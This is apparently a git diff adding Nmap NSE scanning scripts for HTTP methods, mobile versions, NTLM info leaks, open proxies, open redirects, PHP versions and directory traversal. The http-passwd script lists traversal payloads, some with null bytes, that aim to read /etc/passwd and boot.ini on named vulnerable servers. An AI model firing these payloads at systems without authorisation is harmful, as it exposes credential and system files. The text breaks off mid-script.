+ for _, method in pairs(UNSAFE_METHODS) do
+ if not tableaux.contains(methods, method) then
+ table.insert(to_test, method)
+ end
+ end
+ end
+
+ local random_resp = http.generic_request(host, port, rand.random_alpha(4):upper(), path)
+
+ if random_resp.status then
+ stdnse.debug1("Response Code to Random Method is %d", random_resp.status)
+ else
+ stdnse.debug1("Random Method %s failed.", path)
+ end
+
+ for _, method in pairs(to_test) do
+ response = http.generic_request(host, port, method, path)
+ if response.status and check_allowed(random_resp, response) then
+ stdnse.debug2("Method %s not in OPTIONS found to exist. STATUS %d", method, response.status)
+ table.insert(methods, method)
+ status_lines[method] = response['status-line']
+ end
+ end
+
+ if nmap.verbosity() > 0 and #methods > 0 then
+ output["Supported Methods"] = methods
+ setmetatable(output["Supported Methods"], spacesep)
+ end
+
+ local interesting = filter_out(methods, SAFE_METHODS)
+ if #interesting > 0 then
+ output["Potentially risky methods"] = interesting
+ setmetatable(output["Potentially risky methods"], spacesep)
+ end
+
+ if path ~= '/' then
+ output["Path tested"] = path
+ end
+
+ -- retest http methods if requested
+ if retest_http_methods then
+ output["Status Lines"] = {}
+ for _, method in ipairs(methods) do
+ local str
+ if method == "OPTIONS" then
+ -- Use the saved value.
+ str = options_status_line
+ elseif tableaux.contains(to_test, method) then
+ -- use the value saved earlier.
+ str = status_lines[method]
+ -- this case arises when methods in the Public or Allow headers are retested.
+ else
+ response = http.generic_request(host, port, method, path)
+ if not response.status then
+ str = "Error getting response"
+ else
+ str = response["status-line"]
+ end
+ end
+ str = str:gsub('\r?\n?', "")
+ output["Status Lines"][method] = str
+ end
+ end
+ if #output > 0 then return output else return nil end
+end
+
diff --git a/scripts/http-mobileversion-checker.nse b/scripts/http-mobileversion-checker.nse
new file mode 100644
index 0000000..6d2c556
--- /dev/null
+++ b/scripts/http-mobileversion-checker.nse
@@ -0,0 +1,87 @@
+description = [[
+Checks if the website holds a mobile version.
+]]
+
+---
+-- @usage nmap -p80 --script http-mobileversion-checker.nse <host>
+--
+-- This script sets an Android User-Agent header and checks if the request
+-- will be redirected to a page different than a (valid) browser request
+-- would be. If so, this page is most likely to be a mobile version of the
+-- app.
+--
+-- @args newtargets If this is set, add any newly discovered hosts to nmap
+-- scanning queue. Default: nil
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- |_ http-mobileversion-checker: Found mobile version: https://m.some-very-random-website.com (Redirected to a different host)
+--
+-- @see http-useragent-tester.nse
+
+categories = {"discovery", "safe"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local http = require "http"
+local target = require "target"
+local shortport = require "shortport"
+local httpspider = require "httpspider"
+local stdnse = require "stdnse"
+local url = require "url"
+
+getLastLoc = function(host, port, useragent)
+
+ local options
+
+ options = {header={}, no_cache=true, redirect_ok=function(host,port)
+ local c = 3
+ return function(url)
+ if ( c==0 ) then return false end
+ c = c - 1
+ return true
+ end
+ end }
+
+
+ options['header']['User-Agent'] = useragent
+
+ local response = http.get(host, port, '/', options)
+
+ if response.location then
+ return response.location[#response.location] or false
+ end
+
+ return false
+
+end
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+action = function(host, port)
+
+ local newtargets = stdnse.get_script_args("newtargets") or nil
+
+ -- We don't crawl any site. We initialize a crawler to use its iswithinhost method.
+ local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } )
+
+ local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17")
+ local mobloc = getLastLoc(host, port, "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30")
+
+ -- If the mobile browser request is redirected to a different page, that must be the mobile version's page.
+ if loc ~= mobloc then
+ local msg = "Found mobile version: " .. mobloc
+ local mobhost = url.parse(mobloc)
+ if not crawler:iswithinhost(mobhost.host) then
+ msg = msg .. " (Redirected to a different host)"
+ if newtargets then
+ target.add(mobhost.host)
+ end
+ end
+ return msg
+ end
+
+ return "No mobile version detected."
+
+end
diff --git a/scripts/http-ntlm-info.nse b/scripts/http-ntlm-info.nse
new file mode 100644
index 0000000..0147910
--- /dev/null
+++ b/scripts/http-ntlm-info.nse
@@ -0,0 +1,131 @@
+local os = require "os"
+local datetime = require "datetime"
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local base64 = require "base64"
+local smbauth = require "smbauth"
+local string = require "string"
+
+
+description = [[
+This script enumerates information from remote HTTP services with NTLM
+authentication enabled.
+
+By sending a HTTP NTLM authentication request with null domain and user
+credentials (passed in the 'Authorization' header), the remote service will
+respond with a NTLMSSP message (encoded within the 'WWW-Authenticate' header)
+and disclose information to include NetBIOS, DNS, and OS build version if
+available.
+]]
+
+
+---
+-- @usage
+-- nmap -p 80 --script http-ntlm-info --script-args http-ntlm-info.root=/root/ <target>
+--
+-- @args http-ntlm-info.root The URI path to request
+--
+-- @output
+-- 80/tcp open http
+-- | http-ntlm-info:
+-- | Target_Name: ACTIVEWEB
+-- | NetBIOS_Domain_Name: ACTIVEWEB
+-- | NetBIOS_Computer_Name: WEB-TEST2
+-- | DNS_Domain_Name: somedomain.com
+-- | DNS_Computer_Name: web-test2.somedomain.com
+-- | DNS_Tree_Name: somedomain.com
+-- |_ Product_Version: 6.1.7601
+--
+--@xmloutput
+-- <elem key="Target_Name">TELME</elem>
+-- <elem key="NetBIOS_Domain_Name">TELME</elem>
+-- <elem key="NetBIOS_Computer_Name">GT4</elem>
+-- <elem key="DNS_Domain_Name">telme.somedomain.com</elem>
+-- <elem key="DNS_Computer_Name">gt4.telme.somedomain.com</elem>
+-- <elem key="Product_Version">5.0.2195</elem>
+
+
+author = "Justin Cacak"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.http
+
+local auth_blob = base64.enc( select( 2,
+ smbauth.get_security_blob(nil, nil, nil, nil, nil, nil, nil,
+ 0x00000001 + -- Negotiate Unicode
+ 0x00000002 + -- Negotiate OEM strings
+ 0x00000004 + -- Request Target
+ 0x00000200 + -- Negotiate NTLM
+ 0x00008000 + -- Negotiate Always Sign
+ 0x00080000 + -- Negotiate NTLM2 Key
+ 0x20000000 + -- Negotiate 128
+ 0x80000000 -- Negotiate 56
+ ))
+ )
+
+action = function(host, port)
+
+ local output = stdnse.output_table()
+ local root = stdnse.get_script_args(SCRIPT_NAME .. ".root") or "/"
+
+ -- Inject NTLM authorization header with null domain and user credentials
+ local opts = { header = { Authorization = "NTLM " .. auth_blob } }
+
+ local response = http.get( host, port, root, opts )
+ local recvtime = os.time()
+
+ -- Continue only if correct header (www-authenticate) and NTLM response are included
+ if response.header["www-authenticate"] and string.match(response.header["www-authenticate"], "NTLM ([a-zA-Z0-9///+=]*)") then
+
+ -- Extract NTLMSSP response and base64 decode
+ local data = base64.dec(string.match(response.header["www-authenticate"], "NTLM ([a-zA-Z0-9///+=]*)"))
+
+ -- Leverage smbauth.get_host_info_from_security_blob() for decoding
+ local ntlm_decoded = smbauth.get_host_info_from_security_blob(data)
+
+ if ntlm_decoded.timestamp then
+ -- 64-bit number of 100ns clicks since 1/1/1601
+ local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600
+ datetime.record_skew(host, unixstamp, recvtime)
+ end
+
+ -- Target Name will always be returned under any implementation
+ output.Target_Name = ntlm_decoded.target_realm
+
+ -- Only display information returned (varies especially with open source implementations)
+ -- Additionally ignore responses with null values (very rare)
+ if ntlm_decoded.netbios_domain_name and #ntlm_decoded.netbios_domain_name > 0 then
+ output.NetBIOS_Domain_Name = ntlm_decoded.netbios_domain_name
+ end
+
+ if ntlm_decoded.netbios_computer_name and #ntlm_decoded.netbios_computer_name > 0 then
+ output.NetBIOS_Computer_Name = ntlm_decoded.netbios_computer_name
+ end
+
+ if ntlm_decoded.dns_domain_name and #ntlm_decoded.dns_domain_name > 0 then
+ output.DNS_Domain_Name = ntlm_decoded.dns_domain_name
+ end
+
+ if ntlm_decoded.fqdn and #ntlm_decoded.fqdn > 0 then
+ output.DNS_Computer_Name = ntlm_decoded.fqdn
+ end
+
+ if ntlm_decoded.dns_forest_name and #ntlm_decoded.dns_forest_name > 0 then
+ output.DNS_Tree_Name = ntlm_decoded.dns_forest_name
+ end
+
+ if ntlm_decoded.os_major_version then
+ output.Product_Version = ("%d.%d.%d"):format(
+ ntlm_decoded.os_major_version,
+ ntlm_decoded.os_minor_version,
+ ntlm_decoded.os_build)
+ end
+
+ return output
+
+ end
+
+end
diff --git a/scripts/http-open-proxy.nse b/scripts/http-open-proxy.nse
new file mode 100644
index 0000000..3a3f5f7
--- /dev/null
+++ b/scripts/http-open-proxy.nse
@@ -0,0 +1,213 @@
+local proxy = require "proxy"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+
+description=[[
+Checks if an HTTP proxy is open.
+
+The script attempts to connect to www.google.com through the proxy and
+checks for a valid HTTP response code. Valid HTTP response codes are
+200, 301, and 302. If the target is an open proxy, this script causes
+the target to retrieve a web page from www.google.com.
+]]
+
+---
+-- @usage
+-- nmap --script http-open-proxy.nse \
+-- --script-args proxy.url=<url>,proxy.pattern=<pattern>
+-- @output
+-- Interesting ports on scanme.nmap.org (64.13.134.52):
+-- PORT STATE SERVICE
+-- 8080/tcp open http-proxy
+-- | proxy-open-http: Potentially OPEN proxy.
+-- |_ Methods successfully tested: GET HEAD CONNECT
+
+-- Arturo 'Buanzo' Busleiman <buanzo@buanzo.com.ar> / www.buanzo.com.ar / linux-consulting.buanzo.com.ar
+-- Changelog: Added explode() function. Header-only matching now works.
+-- * Fixed set_timeout
+-- * Fixed some \r\n's
+-- 2008-10-02 Vlatko Kosturjak <kost@linux.hr>
+-- * Match case-insensitively against "^Server: gws" rather than
+-- case-sensitively against "^Server: GWS/".
+-- 2009-05-14 Joao Correa <joao@livewire.com.br>
+-- * Included tests for HEAD and CONNECT methods
+-- * Included url and pattern arguments
+-- * Script now checks for http response status code, when url is used
+-- * If google is used, script checks for Server: gws
+
+author = "Arturo 'Buanzo' Busleiman"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "external", "safe"}
+
+--- Performs the custom test, with user's arguments
+-- @param host The host table
+-- @param port The port table
+-- @param test_url The url te send the request
+-- @param pattern The pattern to check for valid result
+-- @return status if any request succeeded
+-- @return response String with supported methods
+function custom_test(host, port, test_url, pattern)
+ local lstatus = false
+ local response = {}
+ -- if pattern is not used, result for test is code check result.
+ -- otherwise it is pattern check result.
+
+ -- strip hostname
+ if not string.match(test_url, "^http://.*") then
+ test_url = "http://" .. test_url
+ stdnse.debug1("URL missing scheme. URL concatenated to http://")
+ end
+ local url_table = url.parse(test_url)
+ local hostname = url_table.host
+
+ local get_status = proxy.test_get(host, port, "http", test_url, hostname, pattern)
+ local head_status = proxy.test_head(host, port, "http", test_url, hostname, pattern)
+ local conn_status = proxy.test_connect(host, port, "http", hostname)
+ if get_status then
+ lstatus = true
+ response[#response+1] = "GET"
+ end
+ if head_status then
+ lstatus = true
+ response[#response+1] = "HEAD"
+ end
+ if conn_status then
+ lstatus = true
+ response[#response+1] = "CONNECTION"
+ end
+ if lstatus then response = "Methods supported: " .. table.concat(response, " ") end
+ return lstatus, response
+end
+
+--- Performs the default test
+-- First: Default google request and checks for Server: gws
+-- Seconde: Request to wikipedia.org and checks for wikimedia pattern
+-- Third: Request to computerhistory.org and checks for museum pattern
+--
+-- If any of the requests is successful, the proxy is considered open
+-- If all get requests return the same result, the user is alerted that
+-- the proxy might be redirecting his requests (very common on wi-fi
+-- connections at airports, cafes, etc.)
+--
+-- @param host The host table
+-- @param port The port table
+-- @return status if any request succeeded
+-- @return response String with supported methods
+function default_test(host, port)
+ local fstatus = false
+ local cstatus = false
+ local get_status, head_status, conn_status
+ local get_r1, get_r2, get_r3
+ local get_cstatus, head_cstatus
+
+ -- Start test n1 -> google.com
+ -- making requests
+ local test_url = "http://www.google.com"
+ local hostname = "www.google.com"
+ local pattern = "^server: gws"
+ get_status, get_r1, get_cstatus = proxy.test_get(host, port, "http", test_url, hostname, pattern)
+ local _
+ head_status, _, head_cstatus = proxy.test_head(host, port, "http", test_url, hostname, pattern)
+ conn_status = proxy.test_connect(host, port, "http", hostname)
+
+ -- checking results
+ -- conn_status use a different flag (cstatus)
+ -- because test_connection does not use patterns, so it is unable to detect
+ -- cases where you receive a valid code, but the response does not match the
+ -- pattern.
+ -- if it was using the same flag, program could return without testing GET/HEAD
+ -- once more before returning
+ local response = {}
+ if get_status then fstatus = true; response[#response+1] = "GET" end
+ if head_status then fstatus = true; response[#response+1] = "HEAD" end
+ if conn_status then cstatus = true; response[#response+1] = "CONNECTION" end
+
+ -- if proxy is open, return it!
+ if fstatus then return fstatus, "Methods supported: " .. table.concat(response, " ") end
+
+ -- if we receive a invalid response, but with a valid
+ -- response code, we should make a next attempt.
+ -- if we do not receive any valid status code,
+ -- there is no reason to keep testing... the proxy is probably not open
+ if not (get_cstatus or head_cstatus or conn_status) then return false, nil end
+ stdnse.debug1("Test 1 - Google Web Server\nReceived valid status codes, but pattern does not match")
+
+ test_url = "http://www.wikipedia.org"
+ hostname = "www.wikipedia.org"
+ pattern = "wikimedia"
+ get_status, get_r2, get_cstatus = proxy.test_get(host, port, "http", test_url, hostname, pattern)
+ head_status, _, head_cstatus = proxy.test_head(host, port, "http", test_url, hostname, pattern)
+ conn_status = proxy.test_connect(host, port, "http", hostname)
+
+ if get_status then fstatus = true; response[#response+1] = "GET" end
+ if head_status then fstatus = true; response[#response+1] = "HEAD" end
+ if conn_status then
+ if not cstatus then response[#response+1] = "CONNECTION" end
+ cstatus = true
+ end
+
+ if fstatus then return fstatus, "Methods supported: " .. table.concat(response, " ") end
+
+ -- same valid code checking as above
+ if not (get_cstatus or head_cstatus or conn_status) then return false, nil end
+ stdnse.debug1("Test 2 - Wikipedia.org\nReceived valid status codes, but pattern does not match")
+
+ test_url = "http://www.computerhistory.org"
+ hostname = "www.computerhistory.org"
+ pattern = "museum"
+ get_status, get_r3, get_cstatus = proxy.test_get(host, port, "http", test_url, hostname, pattern)
+ conn_status = proxy.test_connect(host, port, "http", hostname)
+
+ if get_status then fstatus = true; response[#response+1] = "GET" end
+ if conn_status then
+ if not cstatus then response[#response+1] = "CONNECTION" end
+ cstatus = true
+ end
+
+ if fstatus then return fstatus, "Methods supported:" .. table.concat(response, " ") end
+ if not get_cstatus then
+ stdnse.debug1("Test 3 - Computer History\nReceived valid status codes, but pattern does not match")
+ end
+
+ -- Check if GET is being redirected
+ if proxy.redirectCheck(get_r1, get_r2) and proxy.redirectCheck(get_r2, get_r3) then
+ return false, "Proxy might be redirecting requests"
+ end
+
+ -- Check if at least CONNECTION worked
+ if cstatus then return true, "Methods supported:" .. table.concat(response, " ") end
+
+ -- Nothing works...
+ return false, nil
+end
+
+portrule = shortport.port_or_service({8123,3128,8000,8080},{'polipo','squid-http','http-proxy'})
+
+action = function(host, port)
+ local supported_methods = "\nMethods successfully tested: "
+ local fstatus = false
+ local def_test = true
+ local test_url, pattern
+
+ test_url, pattern = proxy.return_args()
+
+ if(test_url) then def_test = false end
+ if(pattern) then pattern = ".*" .. pattern .. ".*" end
+
+ if def_test
+ then fstatus, supported_methods = default_test(host, port)
+ else fstatus, supported_methods = custom_test(host, port, test_url, pattern);
+ end
+
+ -- If any of the tests were OK, then the proxy is potentially open
+ if fstatus then
+ return "Potentially OPEN proxy.\n" .. supported_methods
+ elseif not fstatus and supported_methods then
+ return supported_methods
+ end
+ return
+
+end
diff --git a/scripts/http-open-redirect.nse b/scripts/http-open-redirect.nse
new file mode 100644
index 0000000..91bec50
--- /dev/null
+++ b/scripts/http-open-redirect.nse
@@ -0,0 +1,136 @@
+local http = require "http"
+local httpspider = require "httpspider"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local url = require "url"
+
+description = [[
+Spiders a website and attempts to identify open redirects. Open
+redirects are handlers which commonly take a URL as a parameter and
+responds with a HTTP redirect (3XX) to the target. Risks of open redirects are
+described at http://cwe.mitre.org/data/definitions/601.html.
+
+Only open redirects that are directly linked on the target website can be
+discovered this way. If an open redirector is not linked, it will not be
+discovered.
+]]
+
+---
+-- @usage
+-- nmap --script=http-open-redirect <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 443/tcp open https syn-ack
+-- | http-open-redirect:
+-- |_ https://foobar.target.se:443/redirect.php?url=http%3A%2f%2fscanme.nmap.org%2f
+--
+-- @args http-open-redirect.maxdepth the maximum amount of directories beneath
+-- the initial url to spider. A negative value disables the limit.
+-- (default: 3)
+-- @args http-open-redirect.maxpagecount the maximum amount of pages to visit.
+-- A negative value disables the limit (default: 20)
+-- @args http-open-redirect.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+-- @args http-open-redirect.withinhost only spider URLs within the same host.
+-- (default: true)
+-- @args http-open-redirect.withindomain only spider URLs within the same
+-- domain. This widens the scope from <code>withinhost</code> and can
+-- not be used in combination. (default: false)
+--
+
+author = "Martin Holst Swende"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+portrule = shortport.http
+
+local redirect_canary = "http://scanme.nmap.org/"
+
+local function dbg(str,...)
+ stdnse.debug2(str, ...)
+end
+local function dbgt(tbl)
+ for k,v in pairs(tbl) do
+ dbg(" %s = %s " , tostring(k), tostring(v))
+ end
+end
+
+local function getHostPort(parsed)
+ return parsed.host, parsed.port or url.get_default_port(parsed.scheme)
+end
+
+local function isRedirect(status)
+ return status >= 300 and status <=399
+end
+
+
+-- This function checks if any query parameter was used as a forward destination
+-- @return false or a new query string to test
+local function checkLocationEcho(query, destination)
+ dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination))
+ local q = url.parse_query(query);
+ -- Check the values (and keys) and see if they are reflected in the location header
+ for k,v in pairs(q) do
+ if destination:sub(1, #v) == v then
+ -- Build a new URL
+ q[k] = redirect_canary;
+ return url.build_query(q)
+ end
+ end
+ return false;
+end
+
+
+action = function(host, port)
+
+ local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } )
+ crawler:set_timeout(10000)
+
+ local results = {}
+ while(true) do
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+ local response = r.response
+ -- Was it a redirect?
+ if response and response.header and response.header.location and isRedirect(response.status) then
+ -- Were any parameters involved?
+ local parsed = url.parse(tostring(r.url));
+
+ -- We are only interested in links which have parameters
+ if parsed.query and #parsed.query > 0 then
+ -- Now we need to check if any of the parameters were echoed in the location-header
+ local destination = response.header.location
+ local newQuery = checkLocationEcho(parsed.query, destination)
+ --dbg("newQuery: %s" , tostring(newQuery))
+ if newQuery then
+ local host, port = getHostPort(parsed);
+ local ppath = url.parse_path(parsed.path or "")
+ local url = url.build_path(ppath)
+ if parsed.params then url = url .. ";" .. parsed.params end
+ url = url .. "?" .. newQuery
+ dbg("Checking potential open redirect: %s:%s%s", host,port,url);
+ local testResponse = http.get(host, port, url);
+ --dbgt(testResponse)
+ if isRedirect(testResponse.status) and testResponse.header.location == redirect_canary then
+ table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url))
+ end
+ end
+ end
+ end
+
+ end
+ if ( #results> 0 ) then
+ return stdnse.format_output(true, results)
+ end
+end
diff --git a/scripts/http-passwd.nse b/scripts/http-passwd.nse
new file mode 100644
index 0000000..01beefb
--- /dev/null
+++ b/scripts/http-passwd.nse
@@ -0,0 +1,198 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Checks if a web server is vulnerable to directory traversal by attempting to
+retrieve <code>/etc/passwd</code> or <code>\boot.ini</code>.
+
+The script uses several technique:
+* Generic directory traversal by requesting paths like <code>../../../../etc/passwd</code>.
+* Known specific traversals of several web servers.
+* Query string traversal. This sends traversals as query string parameters to paths that look like they refer to a local file name. The potential query is searched for in at the path controlled by the script argument <code>http-passwd.root</code>.
+]]
+
+---
+-- @usage
+-- nmap --script http-passwd --script-args http-passwd.root=/test/ <target>
+--
+-- @args http-passwd.root Query string tests will be done relative to this path.
+-- The default value is <code>/</code>. Normally the value should contain a
+-- leading slash. The queries will be sent with a trailing encoded null byte to
+-- evade certain checks; see http://insecure.org/news/P55-01.txt.
+--
+-- @output
+-- 80/tcp open http
+-- | http-passwd: Directory traversal found.
+-- | Payload: "index.html?../../../../../boot.ini"
+-- | Printing first 250 bytes:
+-- | [boot loader]
+-- | timeout=30
+-- | default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
+-- | [operating systems]
+-- |_multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
+--
+--
+-- 80/tcp open http
+-- | http-passwd: Directory traversal found.
+-- | Payload: "../../../../../../../../../../etc/passwd"
+-- | Printing first 250 bytes:
+-- | root:$1$$iems.VX5yVMByaB1lT8fx.:0:0::/:/bin/sh
+-- | sshd:*:65532:65534::/:/bin/false
+-- | ftp:*:65533:65534::/:/bin/false
+-- |_nobody:*:65534:65534::/:/bin/false
+
+-- 07/20/2007:
+-- * Used Thomas Buchanan's HTTPAuth script as a starting point
+-- * Applied some great suggestions from Brandon Enright, thanks a lot man!
+--
+-- 01/31/2008:
+-- * Rewritten to use Sven Klemm's excellent HTTP library and to do some much
+-- needed cleaning up
+--
+-- 06/2010:
+-- * Added Microsoft Windows (XP and previous) support by also looking for
+-- \boot.ini
+-- * Added specific payloads according to vulnerabilities published against
+-- various specific products.
+--
+-- 08/2010:
+-- * Added Poison NULL Byte tests
+
+author = {"Kris Katterjohn", "Ange Gutek"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive", "vuln"}
+
+
+--- Validates the HTTP response code and checks for a <code>valid</code> passwd
+-- or Windows Boot Loader format in the body.
+--@param response The HTTP response from the server.
+--@return The body of the HTTP response.
+local validate = function(response)
+ if not response.status then
+ return nil
+ end
+
+ if response.status ~= 200 then
+ return nil
+ end
+
+ if response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") or response.body:match("%[boot loader%]") then
+ return response.body
+ end
+
+ return nil
+end
+
+--- Transforms a string with ".", "/" and "\" converted to their URL-formatted
+--- hex equivalents
+--@param str String to hexify.
+--@return Transformed string.
+local hexify = function(str)
+ local ret
+ ret = str:gsub("%.", "%%2E")
+ ret = ret:gsub("/", "%%2F")
+ ret = ret:gsub("\\", "%%5C")
+ return ret
+end
+
+--- Truncates the <code>passwd</code> or <code>boot.ini</code> file.
+--@param passwd <code>passwd</code> or <code>boot.ini</code>file.
+--@return Truncated passwd file and truncated length.
+local truncatePasswd = function(passwd)
+ local len = 250
+ return passwd:sub(1, len), len
+end
+
+--- Formats output.
+--@param passwd <code>passwd</code> or <code>boot.ini</code> file.
+--@param dir Formatted request which elicited the good response.
+--@return String description for output
+local output = function(passwd, dir)
+ local trunc, len = truncatePasswd(passwd)
+ return ('Directory traversal found.\nPayload: "%s"\nPrinting first %d bytes:\n%s'):format(dir, len, trunc)
+end
+
+portrule = shortport.http
+
+action = function(host, port)
+ local dirs = {
+ hexify("//etc/passwd"),
+ hexify(string.rep("../", 10) .. "etc/passwd"),
+ hexify(string.rep("../", 10) .. "boot.ini"),
+ hexify(string.rep("..\\", 10) .. "boot.ini"),
+ hexify("." .. string.rep("../", 10) .. "etc/passwd"),
+ hexify(string.rep("..\\/", 10) .. "etc\\/passwd"),
+ hexify(string.rep("..\\", 10) .. "etc\\passwd"),
+
+ -- These don't get hexified because they are targeted at
+ -- specific known vulnerabilities.
+ '..\\\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
+ --miniwebsvr
+ '%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini',
+ '%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini',
+ --Acritum Femitter Server
+ '\\\\..%2f..%2f..%2f..%2fboot.ini% ../',
+ --zervit Web Server and several others
+ 'index.html?../../../../../boot.ini',
+ 'index.html?..\\..\\..\\..\\..\\boot.ini',
+ --Mongoose Web Server
+ '///..%2f..%2f..%2f..%2fboot.ini',
+ '/..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini',
+ '/%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\boot.ini',
+ -- Yaws 1.89
+ '/..\\/..\\/..\\/boot.ini',
+ '/..\\/\\..\\/\\..\\/\\boot.ini',
+ '/\\../\\../\\../boot.ini',
+ '////..\\..\\..\\boot.ini',
+ --MultiThreaded HTTP Server v1.1
+ '/..\\..\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
+ --uHttp Server
+ '/../../../../../../../etc/passwd',
+ --Java Mini Web Server
+ '/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini',
+ '/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%2fpasswd',
+ }
+
+ for _, dir in ipairs(dirs) do
+ local response = http.get(host, port, dir)
+
+ if validate(response) then
+ return output(response.body, dir)
+ end
+ end
+
+ local root = stdnse.get_script_args("http-passwd.root") or "/"
+
+ -- Check for something that looks like a query referring to a file name, like
+ -- "index.php?page=next.php". Replace the query value with each of the test
+ -- vectors.
+ local response = http.get(host, port, root)
+ if response.body then
+ local page_var = response.body:match ("[%?%&](%a-)=%a-%.%a")
+ if page_var then
+ local query_base = root .. "?" .. page_var .. "="
+ stdnse.debug1("testing with query %s.", query_base .. "...")
+
+ for _, dir in ipairs(dirs) do
+ -- Add an encoded null byte at the end to bypass some checks; see
+ -- http://insecure.org/news/P55-01.txt.
+ local response = http.get(host, port, query_base .. dir .. "%00")
+
+ if validate(response) then
+ return output(response.body, dir .. "%00")
+ end
+
+ -- Try again. This time without null byte injection. For example as
+ -- of PHP 5.3.4, include() does not accept paths with NULL in them.
+ local response = http.get(host, port, query_base .. dir)
+ if validate(response) then
+ return output(response.body, dir)
+ end
+ end
+ end
+ end
+end
diff --git a/scripts/http-php-version.nse b/scripts/http-php-version.nse
new file mode 100644
index 0000000..c1767ee
--- /dev/null
+++ b/scripts/http-php-version.nse
@@ -0,0 +1,166 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Attempts to retrieve the PHP version from a web server. PHP has a number
+of magic queries that return images or text that can vary with the PHP
+version. This script uses the following queries:
+* <code>/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42</code>: gets a GIF logo, which changes on April Fool's Day.
+* <code>/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000</code>: gets an HTML credits page.
+
+A list of magic queries is at http://www.0php.com/php_easter_egg.php.
+The script also checks if any header field value starts with
+<code>"PHP"</code> and reports that value if found.
+
+PHP versions after 5.5.0 do not respond to these queries.
+
+Link:
+* http://phpsadness.com/sad/11
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-php-version: Versions from logo query (less accurate): 4.3.11, 4.4.0 - 4.4.9, 5.0.4 - 5.0.5, 5.1.0 - 5.1.2
+-- | Versions from credits query (more accurate): 5.0.5
+-- |_Version from header x-powered-by: PHP/5.0.5
+
+-- 2016-02-05: Updated versions based on scans of Internet hosts. Table is
+-- likely complete, since new PHP versions are not vulnerable.
+-- 08/10/2010:
+-- * Added a check on the http status when querying the server:
+-- if the http code is 200 (ok), proceed. (thanks to Tom Sellers who has reported this lack of check)
+
+author = {"Ange Gutek", "Rob Nicholls"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.http
+
+-- These are the magic queries that return fingerprintable data.
+local LOGO_QUERY = "/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42"
+local CREDITS_QUERY = "/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"
+
+-- For PHP 5.x hashes up to 5.2.14 and 5.3.3 see:
+-- http://seclists.org/nmap-dev/2010/q4/518
+
+local LOGO_HASHES = {
+ -- Bunny (Carmella)
+ ["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"},
+ -- Black Scottish Terrier (Scotch)
+ ["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"},
+ -- Colored
+ ["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"},
+ -- PHP Code Guy With Breadsticks (Thies C. Arntzen)
+ ["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"},
+ -- Brown Dog In Grass (Nadia)
+ ["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.11"},
+ -- Elephant
